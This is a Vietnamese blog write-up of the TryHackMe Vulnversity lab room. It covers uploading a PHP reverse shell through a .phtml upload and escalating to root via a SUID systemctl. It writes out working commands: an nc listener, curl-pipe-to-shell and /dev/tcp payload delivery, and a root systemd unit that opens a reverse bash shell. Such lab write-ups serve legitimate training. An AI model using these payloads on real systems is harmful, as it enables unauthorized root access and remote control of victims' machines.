This page looks best with JavaScript enabled

Vulnversity - TryHackMe room

 ·  ☕ 5 min read  ·  🤖 ch1nhpd

Chào các bạn, tiếp tục với các room trong TryHackMe list room from beginer, hôm nay chúng ta cùng đến với bài thực hành Vulnversity nhé!

Trong bài này mình chỉ tập trung nói về Task 4 và 5 với những phần còn lại mình tin là các bạn hoàn toàn có thể tự tìm hiểu được.

Task 4: Compromise the webserver

Sau khi làm xong những task trước thì chúng ta thấy là server cho phép chúng ra upload file có phần mở rộng là .phtml và trong cái file đó chúng ta hoàn toàn có thể truyền code php vào để reverse shell. Tức là buộc server tạo một kết nối tới máy mình và cho phép mình thực hiện những lệnh hệ thống(shell).

Như tác giả đã cung cấp, chúng ta có thể lấy đoạn mã php đó tại đây. Copy đoạn mã vào và lưu dưới dạng .phtml để chúng ta có thể upload lên server.

Lưu ý là chúng ta phải sửa ip và port trong đoạn code thành ip và port của mình.

Ngoài ra nếu bạn sử dụng Kali thì có thể tìm các file reverse shell của nhiều ngôn ngữ khác nhau tại /usr/share/webshells.

Sau khi up load file thành công thì ta chạy lệnh:

nc -lvnp port_number

Rồi sau đó truy cập đến cái file mà chúng ta đã upload lên server để tạo reverse shell. Cái link để vào cũng được tác giả cung cấp như sau:

http://ip:3333/internal/uploads/file_name.phtml

Cuối cùng là vào khai thác để trả lời các câu hỏi của tác giả thôi…

Task 5: Privilege Escalation

Ở phần này, nhiệm vụ của chúng ra là leo được lên thành root user nhờ vào systemctl và SUID. Để có thể làm được, trước tiên ta cần hiểu SUID là gì đã.

Hiểu đơn giản thì SUID là một loại quyền đặc biệt. Quyền này cho phép file được thực thi(executes) dưới quyền của chủ sở hữu nó cho dù người chạy file đó là bất kì ai. Khi một file được gắn quyền SUID thì bit x được thay thế thành bit s.

suid

Tiếp theo là ta cần nắm được cách tìm kiếm những file được gắn quyền SUID để có thể tiếp tục khai thác.

find / -perm /4000 -user root -type f 2> /dev/null

Có thể hiểu lệnh này như sau:

  • / : vị trí tìm kiếm file SUID
  • -perm /4000: phân loại quyền. Ở đây /4000 là SUID, ngoài ra nếu SGID thì là /2000 và cả SUID,SGID thì dùng /6000 nhé
  • -user root: là tìm kiếm theo username của người sở hữu file đó.
  • -type f: chỉ định loại file tìm kiếm
  • 2> /dev/null: Khi tìm kiếm bằng user bình thường thì có những thư mục mình ko thể truy cập vào được, nên nó sẽ hiện lỗi ra làm rối hết cả mắt. Vì vậy ta dùng lệnh này để ghi những cái lỗi đó vào /dev/null. Số 2 ở đây là nói đến những dòng lỗi, ngược lại nếu muốn ghi những dòng không lỗi vào đâu đó thì thay số 2 bằng số 1. Còn file /dev/null thì là một nơi mà mình ghi gì vào cũng được nhưng khi đọc thì nó không hiện ra cái gì hết.

Ta có thể tìm tên các file đó trên GTFOBins thì thấy có thể leo root được bằng cách sử dụng systemctl.

Nói qua về systemctl thì:

Systemctl là một tiện ích dòng lệnh, có nhiệm vụ điều khiển hệ thống systemd và service manager. Systemd là một bộ công cụ để quản lý hệ thống Linux, nó được sử dụng để khởi động máy, quản lý dịch vụ, hệ thống file tự động, ghi sự kiện, thiết lập tên máy chủ và các tác vụ hệ thống khác. Systemd sử dụng các khái niệm unit, package, service, socket.

Systemctl được sử dụng để kiểm soát systemd và quản lý các dịch vụ. Nó là một phần của hệ sinh thái systemd và có sẵn theo mặc định trên tất cả các hệ thống.

Với Systemctl bạn có thể kiểm tra được trạng thái của các service, khởi động và tắt service, gỡ rối hệ thống khi xảy ra sự cố.

Theo GTFOBins thì ta có thể sử dụng payload sau để trở thành root user:

1
2
3
4
5
6
7
8
9
sudo install -m =xs $(which systemctl)
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

Lưu ý là ta có thể sửa đoạn cat /root/root.txt > /tmp/output thành bất kì lệnh nào ta muốn chạy trên server victim.
Chúng ta có thể chạy từng dòng trong payload trên hoặc tạo file sẵn trong máy mình rồi gửi đến máy victim. Dưới đây là một số cách để gửi và chạy file payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#Local network
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/privEsc.sh | sh #Victim

#Without curl
sudo nc -q 5 -lvnp 80 < privEsc.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

#Excute from memory and send output back to the host
nc -lvnp 9002 | tee privEsc.out #Host
curl 10.10.14.20:8000/privEsc.sh | sh | nc 10.10.14.20 9002 #Victim

Ngoài ra mình còn tìm thấy một cái payload cho phép mình điều khiển trực tiếp victim qua netcat như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[Unit]
Description=root

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/Your_ip/port_nc 0>&1'

[Install]
WantedBy=multi-user.target

Vẫn thực hiện chuyển file payload đến máy victim rồi tại máy mình chạy lệnh sau:

nc -nvlp port_nc

Tại máy victim lần lượt chạy:

systemctl enable root.service
systemctl start root

Vậy là ta có thể điều khiểm máy victim dưới quyền root rồi… Happy hacking <3

Tham khảo thêm

  1. LinPEAS - Script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.
  2. GTFOBins
Share on

Phạm Đăng Chính
WRITTEN BY
ch1nhpd
Developer, Pentester